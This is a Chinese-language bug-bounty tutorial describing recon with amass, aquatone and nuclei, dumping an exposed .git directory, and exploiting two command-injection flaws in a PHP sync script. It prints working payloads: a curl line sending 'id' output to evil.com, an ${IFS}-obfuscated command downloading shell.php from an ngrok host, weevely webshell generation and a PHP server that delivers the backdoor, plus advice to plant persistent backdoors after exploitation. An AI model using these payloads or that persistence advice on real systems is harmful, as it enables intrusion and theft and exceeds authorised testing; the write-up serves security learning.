关于我如何赚取漏洞赏金的那些事
字数 887 2025-08-10 23:41:56
漏洞赏金实战教学:从.git泄露到RCE漏洞挖掘
1. 侦察阶段工具链
侦察是漏洞挖掘的第一步,作者使用了一套高效的自动化工具链:
amass enum -active -d $1 -brute -w ~/SecLists/Discovery/DNS/subdomains-top1million-110000.txt -o amass.txt
cat amass.txt | aquatone -ports xlarge -out aqua_$1
nuclei -l aqua_$1/aquatone_urls.txt -t ~/nuclei-templates -es info -o nuclei_$1.txt
工具说明:
amass:用于子域名枚举aquatone:可视化子域名扫描结果nuclei:快速漏洞扫描器,使用预定义模板
2. .git目录泄露利用
发现暴露的.git目录后,使用git-dumper工具下载源代码:
git-dumper http://example.com/.git/ output
关键点:
- 源代码审计是发现逻辑漏洞的关键
- 重点关注敏感函数调用和用户输入处理
3. RCE漏洞发现与利用
3.1 第一类RCE漏洞
漏洞特征:
- 使用
shell_exec()函数调用本地bash脚本 - 用户输入未经过滤直接拼接
- 存在硬编码密钥的简单验证
利用步骤:
- 构造恶意请求:
http://example.com/ftp-upload/sync.php?deluser=someuser&secret1=[secret1]&secret2=[sha1 encoded secret2]
- 注入点:
deluser参数 - 验证漏洞:
someusr;curl https://evil.com/ $(id|base64|tr -d "\n")
- 上传Webshell:
- 使用
weevely生成PHP后门 - 通过curl传输到服务器可写目录
- 使用
3.2 第二类RCE漏洞(更复杂)
漏洞特征:
- 通过目录创建功能实现RCE
- 使用
@exec()函数处理目录内容 - 用户输入通过空格分隔可创建自定义目录
利用步骤:
- 创建包含payload的目录:
http://example.com/ftp-upload/sync.php?adduser=test%20somename&secret1=[secret1]&secret2=[secret2]
- 绕过空格限制:使用
${IFS}代替空格 - 最终payload:
`cd${IFS}errors%26%26curl${IFS}rce.eu.ngrok.io${IFS}-o${IFS}shell.php`
- 触发漏洞:访问
testSize.php执行代码
4. 代码审计技巧
使用grep快速定位潜在漏洞:
# 跨站脚本
grep -Ri "\$_GET" . | grep "echo"
grep -Ri "\$_POST" . | grep "echo"
# 命令执行
grep -Ri "shell_exec(" .
grep -Ri "system(" .
# 代码执行
grep -Ri "eval(" .
grep -Ri "preg_replace" . | grep "/e"
# SQL注入
grep -Ri "\$sql" . | grep "\$_"
# 文件包含
grep -Ri "include(" . | grep "\$_"
5. Webshell上传技巧
- 使用
weevely生成后门:
weevely generate 123pass shell.txt
- 创建下载服务器(index.php):
<?php
$attachment_location = "shell.txt";
if (file_exists($attachment_location)) {
header($_SERVER["SERVER_PROTOCOL"] . " 200 OK");
header("Content-Type: plane/text");
header("Content-Length:".filesize($attachment_location));
header("Content-Disposition: attachment; filename=shell.php");
readfile($attachment_location);
die();
}
- 使用ngrok建立隧道:
ngrok http -subdomain=rce 8889
6. 经验总结
- 自动化侦察工具能大幅提高效率
- 源代码审计是发现高质量漏洞的关键
- 关注用户输入与敏感函数的交互
- 绕过过滤需要创造性思维(如
${IFS}代替空格) - 漏洞利用后及时上传持久化后门
- 详细记录漏洞利用过程有助于报告撰写
赏金截图:
- 第一个漏洞:$10,000
- 第二个漏洞:$3,000